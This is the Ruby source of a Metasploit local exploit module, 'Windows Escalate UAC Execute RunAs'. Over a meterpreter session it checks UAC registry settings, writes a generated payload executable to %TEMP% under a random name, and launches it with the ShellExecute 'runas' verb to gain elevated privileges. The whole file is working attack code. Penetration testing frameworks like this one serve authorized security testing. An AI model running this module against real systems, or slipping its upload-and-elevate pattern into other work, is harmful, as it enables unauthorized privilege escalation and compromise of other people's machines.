102 lines
2.8 KiB
Ruby
102 lines
2.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/exploit/exe'
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class Metasploit3 < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Exploit::EXE
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include Post::File
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Escalate UAC Execute RunAs',
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'Description' => %q{
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This module will attempt to elevate execution level using
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the ShellExecute undocumented RunAs flag to bypass low
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UAC settings.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'mubix' ],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'Targets' => [ [ 'Windows', {} ] ],
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'DefaultTarget' => 0,
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'References' => [
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[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
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],
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'DisclosureDate'=> "Jan 3 2012"
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))
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register_options([
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OptString.new("FILENAME", [ false, "File name on disk"]),
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OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
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OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
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])
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end
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def exploit
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root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
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open_key = session.sys.registry.open_key(root_key, base_key)
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lua_setting = open_key.query_value('EnableLUA')
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if lua_setting.data == 1
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print_status "UAC is Enabled, checking level..."
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else
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print_good "UAC is not enabled, no prompt for the user"
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end
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uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
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case uac_level.data
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when 2
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print_status "UAC is set to 'Always Notify'"
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print_status "The user will be prompted, wait for them to click 'Ok'"
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when 5
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print_debug "UAC is set to Default"
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print_debug "The user will be prompted, wait for them to click 'Ok'"
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when 0
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print_good "UAC is not enabled, no prompt for the user"
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end
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#
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# Generate payload and random names for upload
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#
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payload = generate_payload_exe
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if datastore["FILENAME"]
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payload_filename = datastore["FILENAME"]
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else
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payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
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end
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if datastore["PATH"]
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payload_path = datastore["PATH"]
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else
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payload_path = session.fs.file.expand_path("%TEMP%")
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end
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cmd_location = "#{payload_path}\\#{payload_filename}"
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if datastore["UPLOAD"]
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print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
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fd = session.fs.file.new(cmd_location, "wb")
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fd.write(payload)
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fd.close
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end
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session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
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end
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end
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